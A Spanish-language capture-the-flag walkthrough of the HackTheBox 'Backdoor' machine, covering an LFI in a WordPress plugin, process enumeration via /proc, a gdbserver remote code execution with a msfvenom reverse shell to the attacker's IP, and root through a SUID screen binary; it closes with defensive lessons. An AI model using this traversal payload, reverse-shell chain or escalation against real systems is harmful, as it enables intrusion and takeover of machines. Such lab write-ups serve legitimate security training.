the_open_door
café
ESEN

Backdoor

HackTheBoxFácilLinux10.10.11.125

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#wordpress#ebook-download#lfi#path-traversal#proc-cmdline#gdbserver#rce#screen#suid
TL;DR. Backdoor es una máquina Linux fácil que corre WordPress en el 80 y un servicio misterioso en el 1337. El plugin ebook-download arrastra un directory traversal / LFI que permite leer ficheros del sistema. En vez de quedarnos en wp-config.php, leemos /proc/<PID>/cmdline para saber con qué se arrancó cada proceso y descubrimos que el 1337 es un gdbserver. Ese servicio tiene un RCE conocido que nos da shell como user. Para root, el binario screen con SUID y un bucle que mantiene una sesión root abierta nos dejan engancharnos a esa sesión y heredar su identidad.

Reconocimiento

Escaneo inicial

Un ping es el sondeo más barato: si contesta, la máquina está viva, y el TTL de la respuesta insinúa qué sistema operativo la genera.

ping -c 1 10.10.11.125

ping a 10.10.11.125 devolviendo ttl=63, 0% packet loss y 96.7 ms de latencia

PING 10.10.11.125 (10.10.11.125) 56(84) bytes of data.
64 bytes from 10.10.11.125: icmp_seq=1 ttl=63 time=96.7 ms

--- 10.10.11.125 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.725/96.725/96.725/0.000 ms

TTL 63 → Linux. La pila de Linux emite con TTL 64 y cada salto de routing lo decrementa en uno, así que un 63 es un 64 con un salto por medio, el gateway de la VPN del laboratorio. Es un indicio, no una prueba (el TTL se puede falsificar), y lo confirmará el escaneo de servicios.

El barrido de los 65535 puertos TCP tarda quince segundos y devuelve tres:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.125 -oG scan

nmap -p- descubriendo los puertos 22, 80 y 1337 con syn-ack ttl 63

Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
1337/tcp open  waste   syn-ack ttl 63

La columna REASON que añade el -vvv da dos datos. Los syn-ack ttl 63 repiten el TTL del ping desde otra capa distinta, así que el indicio de Linux se apoya ya en dos medidas independientes. Y la línea de arriba dice Not shown: 65532 closed tcp ports (reset): cerrados, no filtrados. Los 65532 puertos restantes responden con un RST, es decir, no hay cortafuegos por delante que se coma los paquetes. De ahí que el escaneo termine en quince segundos en vez de en varios minutos, que es lo que tarda cuando el estado dominante es filtered (no-response).

extractPorts, una función del .zshrc, resume el fichero -oG y deja los tres puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Backdoor: IP 10.10.11.125 y puertos abiertos 22,80,1337, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.125
Open ports: 22,80,1337

Ports copied to clipboard

Sobre esos tres puertos, el segundo escaneo saca versiones y lanza los scripts básicos de reconocimiento:

nmap -p22,80,1337 -sCV 10.10.11.125

nmap -sCV identificando OpenSSH 8.2p1, Apache 2.4.41 con WordPress 5.8.1 y el 1337 sin identificar

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Backdoor &#8211; Real-Life
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El 4ubuntu0.3 del OpenSSH y el ((Ubuntu)) del Apache fijan la distribución, un dato que más adelante nos ahorrará adivinar rutas del sistema de ficheros. El script http-generator regala la versión exacta del CMS, WordPress 5.8.1, sin necesidad de tocar el sitio.

Y el 1337 se queda en waste?. La interrogación importa: nmap no ha identificado nada. La sonda de versión no ha sacado banner, así que lo único que ha hecho es mirar su fichero nmap-services, donde el puerto 1337 figura asignado por convención a un programa llamado waste. Ese nombre es una suposición de tabla, no una observación. Lo aparcamos y empezamos por el WordPress.

TCP 80 - WordPress

whatweb es la primera pasada, sin ruido y sin autenticación:

whatweb http://10.10.11.125

whatweb identificando WordPress 5.8.1 sobre Apache 2.4.41 en Ubuntu

http://10.10.11.125 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[wordpress@example.com],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.125], JQuery[3.6.0],
MetaGenerator[WordPress 5.8.1], PoweredBy[WordPress], Script, Title[Backdoor &#8211; Real-Life],
UncommonHeaders[link], WordPress[5.8.1]

Confirma el WordPress 5.8.1 por dos vías distintas (MetaGenerator y la firma propia WordPress[5.8.1]), y suelta un Email[wordpress@example.com] que delata una instalación dejada con los valores de ejemplo del instalador. Wappalyzer añade la capa que whatweb no ve desde fuera:

Wappalyzer mostrando WordPress 5.8.1, Apache 2.4.41, PHP, MySQL, jQuery y el tema Twenty Seventeen

CMS            WordPress 5.8.1        Operating systems  Ubuntu
Web servers    Apache HTTP Server 2.4.41
Programming    PHP                    Databases          MySQL
JS libraries   jQuery, jQuery Migrate 3.3.2
WP themes      Twenty Seventeen

Nada de eso es explotable por sí solo, pero define el terreno: PHP sobre Apache, base de datos MySQL y el tema twentyseventeen. Ese último dato es el que da la primera idea de ataque, porque el editor de temas de WordPress permite escribir PHP desde el panel a quien entre como administrador. Idea que queda en espera: no tenemos credenciales.

El código fuente de la portada confirma el tema y enseña algo más:

view-source de la portada mostrando las rutas de twentyseventeen y los endpoints de la API wp-json

<link rel='stylesheet' id='twentyseventeen-style-css' href='http://10.10.11.125/wp-content/themes/twentyseventeen/style.css?ver=20201208' />
<meta name="generator" content="WordPress 5.8.1" />
<link rel="https://api.w.org/" href="http://10.10.11.125/index.php/wp-json/" />
<link rel="alternate" type="application/json" href="http://10.10.11.125/index.php/wp-json/wp/v2/pages/11" />

La API REST (/wp-json/) está publicada, y su endpoint /wp-json/wp/v2/users suele listar los usuarios del sitio sin autenticación. Otra vía anotada para volver si hiciera falta.

Virtual hosting

Al pinchar en el menú Home, el navegador no recarga la portada: intenta salir hacia el dominio backdoor.htb y se queda en un Server Not Found.

al pulsar Home el sitio redirige a backdoor.htb y el navegador devuelve Server Not Found

Es el síntoma clásico de un WordPress instalado con un nombre de dominio en su configuración (siteurl y home en la base de datos) al que se llega por IP. Los enlaces internos se generan con ese nombre, y nuestra máquina no sabe resolverlo. La solución no es tocar el sitio, es enseñarle el nombre a nuestro /etc/hosts:

echo "10.10.11.125 backdoor.htb" | sudo tee -a /etc/hosts

el fichero /etc/hosts con la línea 10.10.11.125 backdoor.htb añadida al final

Y ahora sí, el sitio carga entero por su nombre:

la portada de Backdoor cargando correctamente en backdoor.htb tras añadir el vhost

Backdoor - Real-Life        Home   About   Blog   Contact
"Cyborgs, as the philosopher Donna Haraway established, are not reverent. They..."

Antes de lanzar wpscan contra los plugins, comprobamos lo más barato de todo: si la ruta /wp-content/plugins tiene directory listing. Lo tiene, y el resultado ahorra la enumeración entera:

directory listing en /wp-content/plugins mostrando solo ebook-download y hello.php

Index of /wp-content/plugins
Name              Last modified      Size
Parent Directory                       -
ebook-download/   2021-11-10 14:18     -
hello.php         2019-03-18 17:19   2.5K
Apache/2.4.41 (Ubuntu) Server at backdoor.htb Port 80

Solo hay dos entradas, y una de ellas es hello.php, el Hello Dolly que WordPress trae de fábrica y que no hace nada. Es decir, ebook-download es el único plugin de terceros instalado en toda la máquina: la superficie de ataque completa del CMS cabe en esa línea. Además la fecha de modificación, 2021-11-10, coincide con la de creación de la caja, lo que sugiere que se instaló a propósito.

Shell como user

LFI en el plugin ebook-download

searchsploit confirma que ese plugin tiene un directory traversal conocido:

searchsploit ebook download

searchsploit revela el directory traversal del plugin eBook Download 1.1

WordPress Plugin eBook Download 1.1 - Directory Traversal | php/webapps/39575.txt

El fichero es un .txt, no un script: no hay nada que ejecutar, solo un procedimiento que leer. Lo copiamos al directorio de trabajo con -m y lo abrimos:

searchsploit -m php/webapps/39575.txt
cat 39575.txt

el contenido de 39575.txt con la prueba de concepto del parámetro ebookdownloadurl

# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7

[Version Disclosure]
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt

[PoC]
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

Tres cosas que sacar de ahí. La primera, el vector: el parámetro ebookdownloadurl de filedownload.php, que recibe una ruta y la sirve como descarga sin comprobar dónde apunta, el caso de manual de un LFI en un plugin de WordPress. La segunda, el readme.txt como [Version Disclosure], el fichero que todo plugin de WordPress arrastra y que confirma la versión exacta antes de disparar nada. Y la tercera, la más fácil de pasar por alto: el Tested on: Xampp on Windows7 de un exploit de

  1. Que se probara en otra plataforma no lo invalida, porque el fallo no está en el sistema operativo sino en el PHP del plugin, que es el mismo en los dos.

La prueba de concepto usa una ruta relativa (../../../wp-config.php) porque asume que el fichero objetivo cuelga del propio WordPress. Como lo que queremos es salir del árbol web, probamos directamente con una absoluta, que funciona igual porque readfile() acepta ambas:

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd

Primer roce con la realidad: el plugin responde con cabeceras de descarga, no con texto en pantalla, y el navegador bloquea el fichero por llegar sin cifrar.

el navegador marca la descarga de passwd como Insecure download blocked y pide confirmación

Hay que aceptar el aviso, buscar el fichero en Downloads y abrirlo a mano, con lo que la lectura de un solo fichero se convierte en cuatro clics. Es exactamente el motivo por el que el resto de la explotación se hará con curl y con un script, no con el navegador. Aceptado el aviso, ahí está la lectura arbitraria de ficheros:

el LFI descarga el contenido completo de /etc/passwd

/etc/passwd/etc/passwd/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash

Nótese cómo empieza la respuesta: /etc/passwd/etc/passwd/etc/passwd y después el contenido. El plugin imprime la ruta pedida tres veces antes de volcar el fichero. Es basura para leer, pero conviene fijarse porque en el siguiente paso esa basura es justo lo que permite automatizar.

Del passwd solo hay dos cuentas con shell real, root y user. Ni rastro de credenciales ni de un usuario de servicio interesante, así que el LFI no nos va a dar la entrada por esta vía.

Identificar el servicio del 1337 vía /proc

Tenemos lectura de ficheros, pero ningún password a la vista. La pregunta que importa sigue siendo qué corre en el 1337, y resulta que la lectura de ficheros puede contestarla.

En Linux, /proc no es un directorio de disco sino un sistema de ficheros virtual que el kernel genera al vuelo. Un ls sobre él en cualquier máquina Linux enseña la estructura:

ls /proc mostrando decenas de directorios numerados junto a entradas como cmdline, net o self

Cada directorio con nombre numérico es el PID de un proceso vivo, y dentro de cada uno hay un pseudo-fichero cmdline con la línea de comandos exacta con la que se arrancó, argumentos incluidos. Si un servicio escucha en el 1337, tiene un proceso; si tiene un proceso, tiene un /proc/<PID>/cmdline que lo describe. Y nosotros sabemos leer ficheros.

Lo que no sabemos es el PID, así que hay que recorrerlos. A mano son cientos de peticiones, de modo que va un script en Python:

import requests

base = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
for pid in range(1, 1000):
    r = requests.get(base + "/proc/%d/cmdline" % pid)
    if len(r.content) > 82:                       # por debajo de eso solo viene el relleno del plugin
        print("/proc/%d/cmdline -> %r" % (pid, r.content))

El > 82 es el filtro que hace útil el script, y viene de lo que acabamos de ver en el passwd. El plugin responde siempre con un relleno fijo: la ruta pedida repetida tres veces y, al final, un <script>window.close()</script>. Un PID que no existe devuelve exactamente ese relleno y nada más. Cualquier respuesta que lo supere lleva contenido real dentro, y 82 bytes es el umbral que deja fuera a los cientos de PID vacíos sin perder ninguno de los llenos.

el script recorriendo los PID y devolviendo los cmdline de init, systemd-journald, systemd-udevd y multipathd

[*] PATH: /proc/1/cmdline
b'/proc/1/cmdline/proc/1/cmdline/proc/1/cmdline/sbin/init\x00auto\x00automatic-ubiquity\x00noprompt\x00<script>window.close()</script>'
[*] PATH: /proc/485/cmdline
b'/proc/485/cmdline/proc/485/cmdline/proc/485/cmdline/lib/systemd/systemd-journald\x00<script>window.close()</script>'
[*] PATH: /proc/658/cmdline
b'/proc/658/cmdline/proc/658/cmdline/proc/658/cmdline/sbin/multipathd\x00-d\x00-s\x00<script>window.close()</script>'

Se ve el relleno en cada línea, y también por qué los argumentos aparecen pegados: cmdline separa cada argumento con un byte nulo (\x00), no con espacios, porque así es como el kernel guarda el argv original. Ese /sbin/init auto automatic-ubiquity noprompt del PID 1 es el init con los parámetros del instalador de Ubuntu, detalle sin valor ofensivo pero que confirma que estamos leyendo procesos de verdad y no artefactos del plugin.

Casi al final del recorrido aparece la pista buena: el proceso del 1337 es un gdbserver escuchando en todas las interfaces.

el LFI sobre /proc revela que el 1337 es gdbserver --once 0.0.0.0:1337

/proc/963/cmdline -> gdbserver --once 0.0.0.0:1337 /bin/true

Los dos argumentos dicen más que el nombre. El 0.0.0.0:1337 significa que escucha en todas las interfaces, no solo en loopback, y por eso lo hemos visto desde fuera. El /bin/true es el binario que tiene cargado para depurar, un programa que no hace absolutamente nada: nadie está depurando ahí, el servicio está puesto para que alguien se conecte.

gdbserver RCE

gdbserver es el componente de depuración remota de GDB: un debugger local se conecta a él para depurar un binario en otra máquina. Si está expuesto sin autenticación (como aquí), cualquiera puede pedirle que cargue y ejecute un binario. searchsploit tiene el exploit listo:

searchsploit muestra el RCE de gdbserver 9.2 y sus instrucciones de uso

GNU gdbserver 9.2 - Remote Command Execution (RCE) | linux/remote/50539.py

El flujo es el que indica el propio exploit: generar un shellcode de reverse shell con msfvenom (PrependFork=true para que el proceso hijo no muera al terminar), abrir el listener y lanzar el exploit apuntando al gdbserver:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=443 PrependFork=true -o rev.bin
nc -nlvp 443
python3 gdbserver_rce.py 10.10.11.125:1337 rev.bin

el exploit de gdbserver entrega una reverse shell como user

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Saved as: rev.bin

[+] Connected to target. Preparing exploit
[+] Found x64 arch
[+] Sending payload
[*] Pwned!! Check your listener

El [+] Found x64 arch es la parte interesante del exploit: antes de enviar nada, le pregunta al propio gdbserver por la arquitectura del objetivo, porque el protocolo de depuración remota la expone. Por eso el shellcode de msfvenom tiene que ser linux/x64 y no otra cosa. Y el PrependFork=true no es opcional: sin él, el proceso que ejecuta el payload muere en cuanto gdbserver termina y la shell se cae en el mismo segundo en que se abre.

Al otro lado, el listener recoge la conexión:

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.125] 54806
whoami
user

Estabilizar la TTY

La shell que entra por netcat no es una terminal: no hay historial, no hay autocompletado, no hay Ctrl+C sin perderlo todo y cualquier programa interactivo la rompe. Se arregla con la secuencia de siempre, que consiste en pedirle a script una PTY de verdad y luego ceder el control del terminal local:

script /dev/null -c bash
export TERM=xterm SHELL=bash
# Ctrl+Z para suspender
stty raw -echo; fg
stty rows 49 cols 211

la secuencia de estabilización de la TTY con script, export, Ctrl+Z y stty raw -echo

El stty raw -echo se ejecuta en nuestra máquina, no en la víctima: le dice a nuestro terminal que deje de interpretar las teclas de control y las mande tal cual al otro lado. El fg devuelve la sesión al frente ya en crudo. Y el stty rows 49 cols 211 final le comunica a la shell remota el tamaño real de la ventana, sin lo cual editores como nano o vim pintan encima de sí mismos.

Con una terminal usable, el directorio de user:

ls -la de /home/user mostrando user.txt y el .bash_history enlazado a /dev/null

total 36
drwxr-xr-x 6 user user 4096 Nov 10  2021 .
drwxr-xr-x 3 root root 4096 Nov 10  2021 ..
lrwxrwxrwx 1 root root    9 Jul 18  2021 .bash_history -> /dev/null
-rw-r--r-- 1 user user 3771 Feb 25  2020 .bashrc
-rw-r----- 1 root user   33 Jun 19 11:36 user.txt

Dos detalles que se leen solos. El .bash_history es un enlace simbólico a /dev/null, propiedad de root: todo lo que se escriba en esa cuenta se descarta. En un laboratorio es higiene para que un jugador no le deje pistas al siguiente, pero en una máquina real es una señal de alarma clásica, porque es lo primero que hace quien no quiere dejar rastro. Y el user.txt pertenece a root:user con permisos -rw-r-----: lo lee el grupo, no el usuario como propietario, que es la forma de garantizar que la flag solo se lee tras conseguir esa cuenta concreta.

user@Backdoor:/home/user$ cat user.txt
92b81cef9c798c23a465e18c188b65fb

shell como user en Backdoor leyendo user.txt

Shell como root

screen con SUID y la sesión persistente de root

Con la terminal ya estable, buscamos binarios con bit SUID, los que se ejecutan con los privilegios de su dueño en vez de con los de quien los lanza:

find / -perm -4000 2>/dev/null
ps -faux | grep screen

find revela /usr/bin/screen con SUID y un proceso root que recrea una sesión screen

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec

La lista se lee buscando el intruso, no leyéndola entera. passwd, su, sudo, mount, chsh, gpasswd, pkexec: todos vienen con SUID de fábrica en cualquier Ubuntu y su presencia no dice nada. El que no pinta nada ahí es /usr/bin/screen, porque screen dejó de instalarse con SUID hace años precisamente por los agujeros que abría. Que lo tenga aquí es una decisión de alguien.

Pero un screen con SUID por sí solo no regala la máquina. La pieza que lo convierte en escalada está en el ps: hay un proceso de root ejecutando en bucle infinito un comando que mantiene viva una sesión screen llamada root:

USER   PID  %CPU %MEM   VSZ   RSS TTY   STAT START  TIME COMMAND
root   844  0.0  0.0  2608  1540 ?     Ss   11:34  0:01  \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
user 10074  0.0  0.0  3304   732 pts/1 S+   12:32  0:00  \_ grep --color=auto screen

Merece la pena desmontar ese while. Cada segundo, el find mira si el directorio /var/run/screen/S-root/ está vacío (-empty), que es como se comprueba si root tiene sesiones de screen, porque cada sesión deja ahí un socket. Si está vacío, el -exec lanza screen -dmS root: crea una sesión llamada root y la deja desacoplada (-dm), corriendo en segundo plano sin nadie conectado. Traducido: siempre hay una sesión de root viva y sin dueño.

Ahí se cierran las dos piezas. screen -x sirve para engancharse a una sesión ya existente en modo compartido, es decir, sin desconectar a quien esté dentro, y esa sesión existe siempre. Lo que normalmente lo impediría es que la sesión pertenece a root y su socket no es nuestro, pero el binario tiene SUID, así que al ejecutarlo corre con los privilegios de su dueño y accede al socket sin problema. La barra final de root/ no sobra: le indica a screen que el nombre es el de una sesión de otro usuario y no el de una nuestra.

screen -x root/

el prompt de user en Backdoor con el comando screen -x root/ escrito, antes de pulsar Enter

user@Backdoor:/home/user$ screen -x root/

screen -x engancha la sesión de root y obtenemos una shell privilegiada

Caemos directamente en una shell como root, sin contraseña ni exploit de por medio, y con ella la flag final:

root@Backdoor:~# cat /root/root.txt
4cb1e0a4ff8b1de9500477101c1bdd9b

Cadena de ataque

WordPress (:80) + plugin ebook-download
   │  LFI / directory traversal (ebookdownloadurl)
   ▼
leer /proc/<PID>/cmdline → el 1337 es gdbserver
   │  gdbserver RCE (msfvenom + 50539.py)
   ▼
reverse shell como user  →  user.txt
   │  screen con SUID + bucle root que recrea la sesión
   ▼
screen -x root/  →  root  →  root.txt

Lecciones aprendidas

  • Un LFI no se queda en wp-config.php. Leer /proc/<PID>/cmdline convierte una lectura de ficheros en reconocimiento del sistema: revela servicios internos, argumentos y rutas que no se ven desde fuera.
  • El puerto que nmap no identifica es el que hay que perseguir. Un waste? con interrogación no es un servicio llamado waste, es una suposición del fichero nmap-services ante la ausencia de banner. Los dos puertos que nmap sí identificó no llevaban a ninguna parte; el que se negó a hablar era la máquina entera.
  • La basura de la respuesta también es información. El plugin repetía la ruta pedida tres veces y añadía un <script>window.close()</script> fijo. Ese relleno constante es exactamente lo que permitió filtrar por tamaño (> 82) los cientos de PID vacíos y quedarse solo con los procesos reales.
  • Nunca expongas un gdbserver sin autenticación. Es ejecución remota de código por diseño; debe vivir en loopback o tras un túnel SSH, jamás en 0.0.0.0. El /bin/true que tenía cargado lo delataba: nadie estaba depurando nada, el servicio estaba puesto para que alguien se conectara.
  • El bit SUID en binarios potentes es una escalada esperando a pasar. screen con SUID, combinado con una sesión root siempre activa, regala la cuenta de superusuario. Revisa el inventario de binarios SUID y quítaselo a todo lo que no lo necesite (abuso de SUID).
  • Dos configuraciones inofensivas por separado pueden ser críticas juntas. Un screen con SUID sin sesiones ajenas no lleva a ningún sitio, y un bucle que mantiene viva una sesión de root con el binario normal tampoco. La escalada existe solo porque coexisten, y ese tipo de combinación es justo lo que una auditoría por lista de comprobación no ve.
  • El directory listing es información gratis para el atacante. Listar /wp-content/plugins señaló el plugin vulnerable de inmediato, y de paso reveló que era el único de terceros instalado; desactívalo en la configuración del servidor.
Cheatsheet de comandos 25 comandos

Repaso rápido